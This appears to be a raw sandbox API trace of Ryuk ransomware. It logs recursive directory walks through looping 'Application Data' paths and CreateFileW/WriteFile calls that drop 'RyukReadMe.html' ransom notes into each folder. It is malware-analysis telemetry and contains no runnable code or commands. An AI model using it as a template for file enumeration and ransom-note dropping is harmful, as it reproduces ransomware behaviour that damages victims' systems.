	[0207.346] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0207.346] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0207.347] SetLastError (dwErrCode=0x0) 
	[0207.347] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.347] GetLastError () returned 0x3
	[0207.347] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0207.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.347] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0207.347] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0207.347] SetLastError (dwErrCode=0x0) 
	[0207.347] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.347] GetLastError () returned 0x3
	[0207.348] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0207.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.348] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0207.348] SetLastError (dwErrCode=0x0) 
	[0207.348] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0207.348] GetLastError () returned 0xb7
	[0207.348] CloseHandle (hObject=0x480) returned 1
	[0207.349] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0207.349] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0207.349] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0207.349] SetLastError (dwErrCode=0x0) 
	[0207.349] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0207.350] GetLastError () returned 0x0
	[0207.350] WriteFile (in: hFile=0x524, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0207.353] CloseHandle (hObject=0x524) returned 1
	[0207.353] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0207.354] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0207.354] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0207.354] SetLastError (dwErrCode=0x0) 
	[0207.354] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0207.742] GetLastError () returned 0x0
	[0207.742] WriteFile (in: hFile=0x5c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0207.745] CloseHandle (hObject=0x5c4) returned 1
	[0207.746] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0208.188] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.189] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0208.189] SetLastError (dwErrCode=0x0) 
	[0208.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.189] GetLastError () returned 0x3
	[0208.189] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.189] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.189] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x20a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.189] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.189] SetLastError (dwErrCode=0x0) 
	[0208.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.189] GetLastError () returned 0x3
	[0208.190] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.190] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.190] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0
	[0208.190] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0208.190] SetLastError (dwErrCode=0x0) 
	[0208.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.190] GetLastError () returned 0x3
	[0208.190] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.191] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.191] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0208.191] SetLastError (dwErrCode=0x0) 
	[0208.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.191] GetLastError () returned 0xb7
	[0208.191] CloseHandle (hObject=0x5c4) returned 1
	[0208.191] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0208.192] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.192] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0208.192] SetLastError (dwErrCode=0x0) 
	[0208.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.192] GetLastError () returned 0x3
	[0208.192] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.193] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.193] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.193] SetLastError (dwErrCode=0x0) 
	[0208.193] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.193] GetLastError () returned 0x3
	[0208.193] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0208.193] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.193] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0208.193] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0208.194] SetLastError (dwErrCode=0x0) 
	[0208.194] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.194] GetLastError () returned 0x3
	[0208.194] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.194] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0
	[0208.194] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.197] SetLastError (dwErrCode=0x0) 
	[0208.197] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0208.198] GetLastError () returned 0xb7
	[0208.198] CloseHandle (hObject=0x524) returned 1
